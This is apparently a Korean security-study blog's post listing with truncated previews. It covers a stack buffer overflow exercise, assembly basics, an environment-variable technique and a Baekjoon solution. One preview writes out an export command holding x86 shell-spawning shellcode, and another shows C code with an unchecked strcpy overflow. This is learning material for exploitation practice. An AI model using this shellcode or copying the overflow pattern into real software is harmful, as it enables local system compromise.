분류 전체보기 117

Basic Stack BufferOverflow

윈도우 소프트웨어 zero-day 헌팅 프로젝트 하기 전에 라는 책으로 숙달을 해봤습니다. 실습파일을 다운을 받아 reader.cpp라는 파일을 열어 보았습니다. #include #include #include int main(int argc, char* argv[]) { char readbuf[2000] = {0,}; char printbuf[500] = {0,}; printf(" # text reader #\n"); if(argc!=2) { printf(" Usage : reader.exe filename\n", argv[0]); exit(1); } FILE *f = fopen(argv[1], "r"); fgets(readbuf,2000,f); strcpy(printbuf,readbuf); print..

프로젝트 2020.02.16

어셈블리어 기초

printf등을 포함한 모든 함수는 에필로그 할때 모두 ret가 있음 EIP : 다음 실행할 명령어의 주소 EBP : 스택의 제일 높은 주소 (기준점) ESP : stack의 제일 아래 부분, 현재 진행 stack지점 1. PUSH : 스택에 값을 저장한다 PUSH후에는 스택이 4byte 증가, ESP레지스터가 4byte감소 ex) PUSH EBP --->EBP의 값을 스택에 저장 2. POP : 스택 끝에 저장된 값을 가져온다 POP후에는 스택이 4byte감소, ESP레지스터가 4byte증가 ex) POP EBP ---> 스택 끝의 값을 꺼내서 EBP에 저장 3. MOV : 지정한 값을 지정한 곳에 넣어주는 역할을 한다.(주소에 저장된 값을 저장) ex) MOV ESP, EBP --->스택 프레임 제거..

STUDY/Pwnable 2020.01.15

환경변수 이용하는 법

환경변수에 등록된 데이터는 고정적인 메모리 주소를 가지고 있는다 따라서 shellcode를 환경변수에 등록하고 메모리 주소를 알아가지고 RET에 넣으면 원하는 결과를 얻을 수 있다. ------------ pwntool 안 쓸때------------- 1.환경변수 등록 export [환경변수명]=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"') 2. shellcode가 위치하는 메모..

STUDY/Pwnable 2020.01.02

백준 5622번 - 다이얼(python)

index 0 index 1 index 2 index 3 index 4 index 5 index 6 index 7 index 8 index 9 "" ABC DEF GHI JKL MNO PQRS TUV WXYZ 다이얼1 다이얼2 다이얼3 다이얼4 다이얼5 다이얼6 다이얼7 다이얼8 다이얼9 다이얼 0 시간 2초 시간 3초 시간 4초 시간 5초 시간 6초 시간 7초 시간 8초 시간 9초 시간 10초 시간 11초 문제를 보면 1과 0은 문자가 안 들어가는데 문자로 외워서 다이얼을 돌린다 했으니 다이얼 번호 1과 0은 돌리지 않는다 따라서 우리가 생각해야 할 다이얼 숫자는 2~9이다 #solution alpabet = input("") list=["","ABC","DEF","GHI","JKL","MNO","PQ..

Write-up/백준 2019.12.26